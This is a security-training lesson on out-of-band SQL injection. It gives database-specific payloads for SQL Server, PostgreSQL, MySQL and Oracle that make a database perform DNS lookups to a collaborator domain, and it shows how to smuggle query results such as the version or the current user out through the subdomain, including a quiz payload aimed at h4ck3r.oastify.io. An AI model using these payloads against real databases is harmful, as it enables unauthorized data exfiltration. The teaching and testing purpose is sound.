Out-of-Band SQL Injection Explained

Hello! Welcome to the final lesson in our SQL Injection module.

In our last session, we dove into the intricate art of manually bypassing Web Application Firewalls (WAFs) and input filters. You learned to probe defenses, identify blacklisted keywords, and use techniques like obfuscation and encoding to craft payloads that slip past security controls.

We've covered injections where the application gives us feedback, either through direct errors, modified page content, or even response delays. But what happens when an attack triggers no visible change at all? This often occurs when a vulnerable query is processed asynchronously, completely detached from the HTTP response you receive.

Today, we'll tackle this exact scenario. This lesson covers Out-of-Band (OOB) SQL Injection, a powerful and often necessary technique for exploiting blind vulnerabilities where traditional methods fail. You will learn how to force a database server to communicate with an external system you control, allowing you to confirm vulnerabilities and exfiltrate data when all other channels are silent.

1. The "Truly Blind" Scenario: Why We Need OOB

Imagine an application uses a tracking cookie to log user visits for analytics. The server receives your request, immediately sends a response, and then passes your cookie value to a separate background process that writes to a database.

In this case:

• Error-based SQLi fails because the vulnerable query runs in the background; any database errors are logged internally, not sent back to you.
• Union-based SQLi fails because the query's output is never used to construct the HTTP response.
• Time-based blind SQLi fails because the application doesn't wait for the slow background query to finish before responding to you.

This is where Out-of-Band Application Security Testing (OAST) comes into play. If we can't get data out through the web application, we'll make the database server send it to us through another channel.

2. The Mechanism: Out-of-Band Channels and Tools

The most reliable and common channel for OOB attacks is the Domain Name System (DNS). Why? Because even highly restricted corporate networks usually allow outbound DNS queries so servers can resolve domain names. We can exploit this by crafting a SQL payload that forces the database to perform a DNS lookup for a domain we control.

To do this, we need a server to listen for these incoming DNS queries. These are often called "collaborator" or "interactor" services.

• Burp Suite Collaborator: Integrated into Burp Suite Professional, this is the industry-standard tool. It provides a unique domain and monitors for DNS, HTTP, and other interactions, making OOB testing seamless.
• Interact.sh: A free, open-source alternative to Burp Collaborator. It provides the same core functionality and is an excellent tool for your arsenal.

The process is simple:

1. Generate a unique domain from your collaborator tool (e.g., somerandomstring.oastify.com).
2. Inject a SQL payload that forces the database to perform a lookup to this domain.
3. Check your collaborator client to see if the DNS query was received. If it was, you've confirmed an OOB SQL injection vulnerability.

Let's watch a demonstration of this initial confirmation step.

3. Database-Specific Payloads

As you saw in the video, the SQL functions used to trigger network interactions are different for each database system. You can't use an Oracle payload on a MySQL server. Having a cheat sheet is essential.

Here are some of the most common payloads to trigger a DNS lookup to your collaborator domain.

Here's a quick summary of the key functions:

• Microsoft SQL Server: xp_dirtree '\\\\YOUR-COLLABORATOR-DOMAIN\\a'
  • This stored procedure attempts to list the contents of a network share, triggering a DNS lookup for the domain in the UNC path.
• PostgreSQL: COPY ... FROM PROGRAM 'nslookup YOUR-COLLABORATOR-DOMAIN'
  • This abuses a feature that allows copying data from the output of a shell command.
• MySQL: ... AND LOAD_FILE(CONCAT('\\\\', 'YOUR-COLLABORATOR-DOMAIN', '\\\\a'))
  • Similar to MSSQL, this uses a function that can interact with UNC paths, forcing a DNS lookup.
• Oracle: ... AND UTL_INADDR.GET_HOST_ADDRESS('YOUR-COLLABORATOR-DOMAIN')
  • This function is designed to resolve a hostname to an IP address, which is exactly what we need.

4. From Confirmation to Exfiltration

Confirming the vulnerability is great, but the real goal is to extract data. We can achieve this by embedding the data we want to steal directly into the subdomain of the DNS query.

For example, if we want to get the database version, we could inject a payload like this (PostgreSQL example):

$$\text{COPY ... FROM PROGRAM ’nslookup ’ || (SELECT version()) || ’.YOUR-COLLABORATOR-DOMAIN’}$$

The database would execute the SELECT version() subquery, get a result like PostgreSQL 14.2, and then perform a DNS lookup for:
PostgreSQL_14.2.YOUR-COLLABORATOR-DOMAIN

Your collaborator client will log this lookup, and just like that, you've exfiltrated the database version.

Let's watch a full demonstration of this technique to retrieve a user's password.

Test your understanding!

You are pentesting an application that uses a MySQL database. You've discovered a blind SQL injection point, but time-based techniques are proving unreliable. Your collaborator domain is h4ck3r.oastify.io.

Which payload would you use to exfiltrate the name of the current database user?

1. ' AND 1=0 UNION SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT USER()) || '.h4ck3r.oastify.io') FROM dual--
2. ' AND LOAD_FILE(CONCAT('\\\\',(SELECT USER()),'.h4ck3r.oastify.io','\\\\foo'))--
3. ' EXEC xp_dirtree '\\\\h4ck3r.oastify.io\\foo'--
4. ' AND (SELECT pg_sleep(10))--

Show answer

2. This is the correct payload for MySQL. It uses LOAD_FILE() with a UNC path, concatenating the output of SELECT USER() into the hostname, which will cause a DNS lookup revealing the user's name.

Option 1 is for Oracle. Option 3 is for Microsoft SQL Server. Option 4 is a time-based payload, which the prompt states is unreliable.

Conclusion

You have now completed the SQL Injection module, culminating in one of the most advanced exploitation techniques. Out-of-band SQL injection is a critical skill for any serious penetration tester or bug bounty hunter, as it's often the only way to exploit vulnerabilities in modern, asynchronously designed applications.

Key Takeaways:

• OOB for Asynchronous Attacks: OOB SQLi is the go-to method when a vulnerable query is executed in the background and has no impact on the application's response time or content.
• DNS as a Covert Channel: DNS is the most common and reliable channel for OOB exfiltration because its traffic is often permitted through firewalls where other protocols are blocked.
• Collaborator is Key: Tools like Burp Collaborator or Interact.sh are essential for providing a listening server to detect the out-of-band interactions.
• Payloads are Database-Specific: The functions used to trigger network requests vary significantly between RDBMS (e.g., MSSQL, Oracle, MySQL, PostgreSQL).
• Data in the Domain: You exfiltrate data by dynamically constructing a domain name that includes the information you want to steal (e.g., [DATA-TO-STEAL].your-collaborator.com).

Next Lesson Preview:
We are now leaving the world of server-side injection attacks behind. In the next module, we will pivot to the client-side and explore one of the most prevalent vulnerabilities on the web: Cross-Site Scripting (XSS). You will learn how attackers inject malicious scripts into websites, which then execute in the browsers of other users, leading to session hijacking, data theft, and more.